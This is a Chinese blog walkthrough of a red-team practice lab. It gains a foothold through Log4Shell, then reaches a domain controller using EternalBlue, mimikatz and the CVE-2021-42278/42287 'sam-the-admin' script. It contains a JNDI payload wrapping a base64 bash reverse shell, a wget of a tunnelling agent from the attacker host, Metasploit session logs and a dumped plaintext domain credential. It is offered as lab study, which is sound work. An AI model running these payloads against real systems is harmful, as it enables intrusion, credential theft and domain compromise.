【红队靶场】利用log4j外网打点,cve-2021-42278/87打穿域控

红队靶场


🎉B站配套视频:【顺手挂个三连呗】

 https://www.bilibili.com/video/BV1CT411h7uo/?share_source=copy_web&vd_source=0e30e09a4adf6f81c3038fa266588eff

🔥系列专栏:红队靶场
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2023年5月1日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!


前言

本文章仅用作实验学习,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。


环境搭建

可以直接开机开机使用,也可以按照给出的静态IP配置对应的虚拟网卡做分割

在这里插入图片描述

信息收集

nmap -v -Pn -T3 -sV -n -sT --open -p 22,1222,2222,22345,23,21,445,135,139,5985,2121,3389,13389,6379,4505,1433,3306,5000,5236,5900,5432,1521,1099,53,995,8140,993,465,878,7001,389,902,1194,1080,88,38080 192.168.0.251

直接用nmao扫常用端口或者先使用masscan再使用nmap都可

在这里插入图片描述
开放两个端口,22以及38080

38080服务探测

非常非常明显的log4j

在这里插入图片描述可以详细看看下面的文章

https://blog.csdn.net/Jietewang/article/details/122032174

CVE-2021-44228验证以及利用

开始验证
抓包进行修改,,漏洞点在POST体的/hello
如图:
并且加入payload如下

payload=${jndi:ldap://7mjkro.dnslog.cn/exp}
7mjkro.dnslog.cn是我们在dnslog平台申请的域名

同时http报文部分要加入:

Content-Type: application/x-www-form-urlencoded

来使得POST数据内容被解析
在这里插入图片描述dnslog平台成功出现数据外带
而后修改post数据部分如下

1. 这是我们原始payload,用于反弹shell
bash -i >& /dev/tcp/192.168.74.136/9999 0>&1
2. 经过base64后如下
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc0LjEzNi85OTk5IDA+JjE=
3. 对其中的特殊符号例如=+进行两次的url编码
%253d->=
%252b->+
更改后如下
YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4Ljc0LjEzNi85OTk5IDA%252bJjE%253d
4. 使用如下攻击链
TomcatBypass/Command/Base64
5. 那么最终payload如下
payload=${jndi:ldap://192.168.74.136:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4Ljc0LjEzNi85OTk5IDA%252bJjE%253d}

而后我们开启ldap服务器

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i ip
开启之后bp发包

而后本地nc开启等待,可以ctrl+c取消几次,有时候会卡住

这里可以看到已经成功反弹回来了
在这里插入图片描述
进行了检查,发现了是一个docker环境,尝试了一些办法没有办法进行逃逸

cat /proc/1/cgroup
https://blog.csdn.net/whatday/article/details/104107928

所以去到了/root下看看有没有什么敏感文件,发现了flag.txt

cat /root/flag.txt

可以看到有信息,一个凭证,鉴于机器开启了22端口,我们尝试用这个凭证连接目标

ssh saul@192.168.74.134

接着进行信息收集

ifconfig
等等
这里不再赘述

同时利用bash,简单的对内网进行探测

for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; done

发现了新的目标
这里我们使用stowaway上传一个隧道工具

Stowaway使用

基本参数
其它参数

上传的话直接本地kali开启一个简单http

python3 -m http.server 80

而后在已控主机

wget http://[ip]:port/linux_agent

根据上面的详细的参数配置利用,并开启一个

而后msf连接sock进行探测利用

MSF探测并进行MS17-010攻击

msf6 > setg Proxies socks5:192.168.74.139:7777
Proxies => socks5:192.168.74.139:7777
msf6 > setg ReverseAllowProxy true
ReverseAllowProxy => true
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > show options
msf6 auxiliary(scanner/smb/smb_version) > set rhost 10.0.1.7
rhost => 10.0.1.7
msf6 auxiliary(scanner/smb/smb_version) > run

使用smb进行探测,可以很快的探测到windows主机
是一个便捷的方法
在这里插入图片描述发现了一个域内的win7机器,我们直接无脑上ms17-010,使用msf内置的模块,并使用正相连接的payload

msf6 auxiliary(scanner/smb/smb_version) > use windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload payload/windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

在这里插入图片描述

可以看到已经成功地拿到了一个meterpreter
接下来迁移进程之后hashdump,并且尝试对DC进行攻击

meterpreter > migrate 468
[*] Migrating from 1056 to 468...
[*] Migration completed successfully.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 2144 created.
Channel 1 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

C:\Windows\system32>chcp 65001
chcp 65001
Active code page: 65001

C:\Windows\system32>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Bluetooth ��������:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : 

Ethernet adapter �������� 2:

   Connection-specific DNS Suffix  . : 
   Link-local IPv6 Address . . . . . : fe80::940e:65f4:221e:aa1b%13
   IPv4 Address. . . . . . . . . . . : 10.0.0.7
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.0.0.1

Ethernet adapter ��������:

   Connection-specific DNS Suffix  . : 
   Link-local IPv6 Address . . . . . : fe80::99d1:ff29:4cda:8856%11
   IPv4 Address. . . . . . . . . . . : 10.0.1.7
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.0.1.1

从上面的终端回显中我们可以看到这台机器还连通了另一张网卡,我们加载mimikatz,并且dump一下,看看有没有收获

meterpreter > load mimikatz
  .#####.   mimikatz 2.2.0 20191125 (x64/windows)
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'        Vincent LE TOUX            ( vincent.letoux@gmail.com )
  '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/
meterpreter > creds_all

tspkg credentials
=================

Username  Domain   Password
--------  ------   --------
root      REDTEAM  Red12345

去掉了没啥用的地方,我们可以看到已经获取了一个有效的域内用户凭证,接下来建立路由,并使用cve-2021-42278/87组合拳一键日穿域控
这里有朋友会问为什么要用他,这一块主要要是尝试,打域控的一个方法就是尝试高危的,符合版本的漏洞,zerologon等等都可以尝试

MSF做路由

meterpreter > run autoroute -s 10.0.0.0/24
meterpreter > run autoroute -p
Active Routing Table
====================

   Subnet             Netmask            Gateway
   ------             -------            -------
   10.0.0.0           255.255.255.0      Session 1

meterpreter > bg
[*] Backgrounding session 1...
msf6 exploit(windows/smb/ms17_010_eternalblue) > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set SRVPORT 6666
SRVPORT => 6666
msf6 auxiliary(server/socks_proxy) > run 

而后在/etc/proxychins4.conf修改如下

在这里插入图片描述

接下来带着代理我们去利用脚本一键getshell

https://github.com/WazeHell/sam-the-admin
proxhchains4 python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell

在这里插入图片描述
这里可以看到已经成功利用了

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

人间体佐菲

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值